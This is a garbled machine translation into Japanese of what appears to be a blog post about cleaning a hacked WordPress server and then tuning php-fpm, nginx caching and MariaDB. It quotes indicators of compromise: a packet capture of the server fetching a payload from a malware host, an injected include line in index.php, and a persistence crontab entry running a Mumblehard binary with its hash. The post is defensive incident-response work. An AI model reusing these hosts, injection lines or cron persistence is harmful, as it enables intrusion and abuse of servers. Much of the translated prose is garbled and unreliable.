サーバーをWPで処理した方法、または2つのコアで700人のユーザーをオンラインで処理した方法の物語

良い日、金曜日は晴れ、赤い女の子の勇敢な若者!



あなたは私を信じることができますが、あなたは私を信じることはできませんが、この物語は私のメールのニュースレターで始まりました。







これは、Intel Xeon E3 1245v2サーバー(soyoustart、E3-SSD-3)上のwordpressと呼ばれる海外のエンジンで、500人の勇敢な仲間(Googleからの派遣による)です。 この経済を最適化するために、キャンバスに原稿が添付されました。



免責事項: この資料は、バグのあるサーバーの迅速な診断を示し、有用と見なされる構成を提供します。 補足または批判するものがある場合は、コメントにそれを書くことを、しないでください。1人のヘッドが2人よりも悪く、2人が3人よりも悪く、n-1がnよりも悪いからです。 サーバーから引き裂かれた感染は、respでgistにアップロードされます。 コメントはプライベートとして、システム上で実行してはいけないことは明らかです。これにはdebugとideone.comがあります。



パスワードがコピーされた後、スペースがコピーされるまでコピーペーストは行われないため、Skypeにまだ時間をかけずに電話の損傷を取り除きたいと思っていました。



netstat -ntu | awk '{print $5}'| cut -d: -f1 | sort | uniq -c | sort -nr | more
      
      





発行済み:







コマンドの後:



 iptables -I INPUT -s 188.138.89.112 -j DROP
      
      





美しくなりました:







しかし、浸水したphpinfo()を含むすべてのphpが育ちました。



まだリモートで解決したいという願望と接続することをためらっていることから、私は走るように頼みました



 tcpdump -i eth0 dst host 188.138.89.112 -v -XX
      
      





そして、禁止を解除します:



 iptables -D INPUT -s 188.138.89.112 -j DROP
      
      





それから彼らは私にログを送った:



  Host: broin.top Accept: */* 0x0000: 0007 b400 0102 3860 7713 ffbe 0800 4500 ......8`w.....E. 0x0010: 006f 900d 4000 4006 0592 2e69 6086 bc8a .o..@.@....i`... 0x0020: 5970 d8f5 0050 3be0 6f97 6bd8 b0e4 8018 Yp...P;.ok.... 0x0030: 00e5 a54b 0000 0101 080a 03dd ffa0 4221 ...K..........B! 0x0040: da17 4745 5420 2f6c 6e6b 2f69 6e6a 2e70 ..GET./lnk/inj.p 0x0050: 6870 2048 5454 502f 312e 310d 0a48 6f73 hp.HTTP/1.1..Hos 0x0060: 743a 2062 726f 696e 2e74 6f70 0d0a 4163 t:.broin.top..Ac 0x0070: 6365 7074 3a20 2a2f 2a0d 0a0d 0a cept:.*/*.... 20:33:17.765232 IP (tos 0x0, ttl 64, id 50803, offset 0, flags [DF], proto TCP (6), length 52) server.s.55540 > xray874.dedicatedpanel.com.http: Flags [.], cksum 0xa510 (incorrect -> 0x6231), ack 15929, win 477, options [nop,nop,TS val 64880546 ecr 1109514777], length 0 0x0000: 0007 b400 0102 3860 7713 ffbe 0800 4500 ......8`w.....E. 0x0010: 0034 c673 4000 4006 cf66 2e69 6086 bc8a .4.s@.@..fi`... 0x0020: 5970 d8f4 0050 8d4b 3a3b a61a 0724 8010 Yp...PK:;...$.. 0x0030: 01dd a510 0000 0101 080a 03dd ffa2 4221 ..............B! 0x0040: da19 .. 20:33:17.765486 IP (tos 0x0, ttl 64, id 50804, offset 0, flags [DF], proto TCP (6), length 52) server.s.55540 > xray874.dedicatedpanel.com.http: Flags [.], cksum 0xa510 (incorrect -> 0x5c72), ack 17377, win 500, options [nop,nop,TS val 64880546 ecr 1109514777], length 0 0x0000: 0007 b400 0102 3860 7713 ffbe 0800 4500 ......8`w.....E. 0x0010: 0034 c674 4000 4006 cf65 2e69 6086 bc8a .4.t@.@..ei`... 0x0020: 5970 d8f4 0050 8d4b 3a3b a61a 0ccc 8010 Yp...PK:;...... 0x0030: 01f4 a510 0000 0101 080a 03dd ffa2 4221 ..............B!
      
      





http://broin.top/lnk/inj.php



動揺していることhttp://broin.top/lnk/inj.php



わかります。ここでは、 要旨デコードされたものへのリンクを示します。

私の怠は不運な管理者を促し、この不名誉の包含のすべての瞬間を見つけると思われます。 ファイルが見つかりました。「サイトルート」からの相対パス:





次に、私はWPからindex.phpを投げるように頼み、そのような奇跡を得ました



 @include_once('./wp-includes/wp-mod.php');
      
      





その結果、 / wp-includes /にあるファイルの束がディストリビューションに出くわしました:





一般的に、傍観者として留まることはもはや不可能であり、ささやかな新鮮なインストール(2017年2月)debian 7、php 5.4、proftpdで味付けされたISPデモパネル...



別のディレクトリでphpファイルを検索した後、 / wp-content / uploads /に遭遇しました。





次に、 / wp-content / plugins /フォルダーで、同様のファイルをダウンロードしませんでした:





wp-dojika.phpはwp-jojiro.phpと同様、Game of tronesのファンです。



どうやら-彼らは難読化されています。 何らかの方法で、次のステップですべてのPHPを選択したこと



 grep -A 3 -B 3 --include=\*.php -rnw '/path/to/www/' -e ".*base64_decode.*"
      
      





そして、別のWAIpro.phpを見つけました。 このファイルから、たとえばapiword.press/addadmin_1.txt(gist )のような、多くの異なるmucksを引き出すようなデコードされたファイルを切り取る ことができます。



ファイルは将来の選択のために移動されました。



トラフィックは非常に落ちました。 1日後、入ってきてトラフィックが増加するのを見て、次のように処方しました。



 tcpdump -i eth0 dst port 25 -v -XX
      
      





同じ名前のアドオンから軍のファンよりも速く回転するシートを入手しました。 PHPのシャットダウン後、問題は消えませんでした。 信じられない、と言ってcrontab -u admin -e



と入力した。



...そして、ケーキの上のチェリーは、結論でした:



 crontab -u admin -e
      
      





 */10 * * * * /var/tmp/eumqvTiN >/dev/null 2>&1
      
      





それからsha256sum:



 694fc1f7f17d5f3c447fcdb83fa6177b736b241430e70309a4b3111ef1d0e3b9 eumqvTiN
      
      





これはLinux / Mumblehard.Uに他なりません 。 彼はどうやってそこにたどり着いたのか...正直なところ、すでに理解するのは怠だった。 幸いなことに、不幸な管理者は古い仮想マシン(OVH VPS SSD 3)を2月21日まで支払っていましたが、2月4日に彼女(仮想マシン)が負荷に対処できなかったため、これは別の管理者によって転送されました。 そして、この経済を最適化するための簡単なリクエストとともに、「不運な管理者」が2月6日に私のところに来ました。



その結果、サイトの(可能な限り)スティッキーがクリアされ、再配置された古い仮想マシン(チャネルの幅全体に陽気なスパムが送信されました)に転送され、現在、このような控えめな数値が表示されています。ピーク値(オンラインユーザー700人) googleAnal、キャッシュ3秒):







設定は非常に簡単です:php-fpm 7.0.16(7.1.1は一部のプラグインでは受け入れられません)



 ./configure --prefix=/opt/php-7.0 --with-pdo-pgsql --with-zlib-dir --with-freetype-dir --enable-mbstring --with-libxml-dir=/usr --enable-soap --enable-calendar --with-curl --with-mcrypt --with-zlib --with-gd --with-pgsql --disable-rpath --enable-inline-optimization --with-bz2 --with-zlib --enable-sockets --enable-sysvsem --enable-sysvshm --enable-pcntl --enable-mbregex --enable-exif --enable-bcmath --with-mhash --enable-zip --with-pcre-regex --with-pdo-mysql --with-mysqli --with-mysql-sock=/var/run/mysqld/mysqld.sock --with-jpeg-dir=/usr --with-png-dir=/usr --enable-gd-native-ttf --with-openssl --with-fpm-user=www-data --with-fpm-group=www-data --with-libdir=/lib/x86_64-linux-gnu --enable-ftp --with-imap --with-imap-ssl --with-kerberos --with-gettext --with-xmlrpc --with-xsl --enable-opcache --enable-fpm --enable-intl
      
      





+ memcached



fpm-fpmはchrootにあります



 [wwwsomeone] listen = 127.0.0.1:9001 listen.allowed_clients = 127.0.0.1 user = wwwsomeone group = wwwsomeone pm = dynamic pm.max_children = 50 pm.start_servers = 10 pm.min_spare_servers = 5 pm.max_spare_servers = 10 chroot = /path/to/folder chdir = / catch_workers_output = yes
      
      





Nginxもかなり単純な構成であり(fpmはソケットではなくポートで取得されます)、キャッシュは次のようになります。



 fastcgi_cache_key "$scheme:$server_name:$server_port:$request_uri"; fastcgi_cache mapcgi; fastcgi_cache_lock on; fastcgi_cache_lock_timeout 6s; fastcgi_cache_valid 200 301 302 304 3s; fastcgi_cache_valid 403 404 10s; fastcgi_no_cache $cookie_wordpress_auth_cookie; fastcgi_cache_methods GET HEAD;
      
      





$cookie_wordpress_auth_cookie



はwordpress_auth_cookie Cookieをチェックし、応答キャッシュを無効にします。 キャッシュは、負荷が最も低下した理由です。



 fastcgi_cache_lock_timeout 10s; fastcgi_cache_valid 200 301 302 304 2m; fastcgi_cache_valid 403 404 30s;
      
      





キャッシュは1 GB RAMディスク(tmpfs)上にあります。 誰もが同じIPNのテストに興味がある場合(ただし空の場合)、 ここに (要点)があります。



ダイナミクスは12 r /秒で、スタティックは256 r /秒で与えられます。 原則として、キャッシュはすべてのヘッドです... 470 nginxキャッシュなしのオンライン:







ここにnginxキャッシュがあります:







MySQL MariaDBは、以下のデフォルトコードとは異なります。



 [mysqld] user = mysql pid-file = /var/run/mysqld/mysqld.pid socket = /var/run/mysqld/mysqld.sock port = 3306 basedir = /usr datadir = /var/lib/mysql tmpdir = /tmp #init-connect='SET NAMES utf8' lc-messages-dir = /usr/share/mysql language = /usr/share/mysql/english skip-external-locking bind-address = 127.0.0.1 collation-server = utf8_unicode_ci character-set-server = utf8 event_scheduler = on innodb_file_per_table = 1 innodb_flush_method=O_DIRECT innodb_lock_wait_timeout = 50 innodb_buffer_pool_size = 1G join_buffer_size = 32M max_connections = 1024 max_allowed_packet = 256M max_join_size = 4096000 myisam_sort_buffer_size = 32M myisam-recover = BACKUP thread_cache_size = 16 key_buffer_size=32M net_buffer_length = 16K read_buffer_size=64M read_rnd_buffer_size = 8M sort_buffer_size = 32M bulk_insert_buffer_size = 256M expire_logs_days = 10 max_binlog_size = 100M # tmp_table_size = 1G max_heap_table_size = 1G # table_cache = 8192 open-files-limit = 262144 transaction-isolation = READ-COMMITTED query_cache_type = 2 query_cache_limit = 2M query_cache_size = 256M connect_timeout=30 wait_timeout=300
      
      





アクセスログとnginxエラーはアクティブに書き込まれます(1日あたり1.5GB)。3日間のフライトは正常でサーバーはクリーンです。fpmログを含むログとアクティビティ全般で判断します。



また、fpmログにはすでに新しいUPUがあります。



 [16-Feb-2017 23:06:42] WARNING: [pool www] child 15075 said into stderr: "NOTICE: PHP message: PHP Fatal error: Uncaught Error: Call to undefined function mysql_escape_string() in /www/wp-content/themes/------/functions.php:60"
      
      







その後、functions.phpにある程度類似したファイル(類似のコマンド)が検索されましたが、疑わしいものは見つかりませんでした。



次のステップは、 add_header Cache-Control "public, max-age=123456789";



再生して、cloudflareの背後にあるサイトをロックすることadd_header Cache-Control "public, max-age=123456789";



許可およびadd_header Cache-Control "private, max-age=0";



ないコンテンツの場合add_header Cache-Control "private, max-age=0";



Cookieが応答に存在し、ファイアウォールを有効にして、「不幸な管理者」と彼のブログをさらに保護します。



太陽と本当の週末を温めてください!



All Articles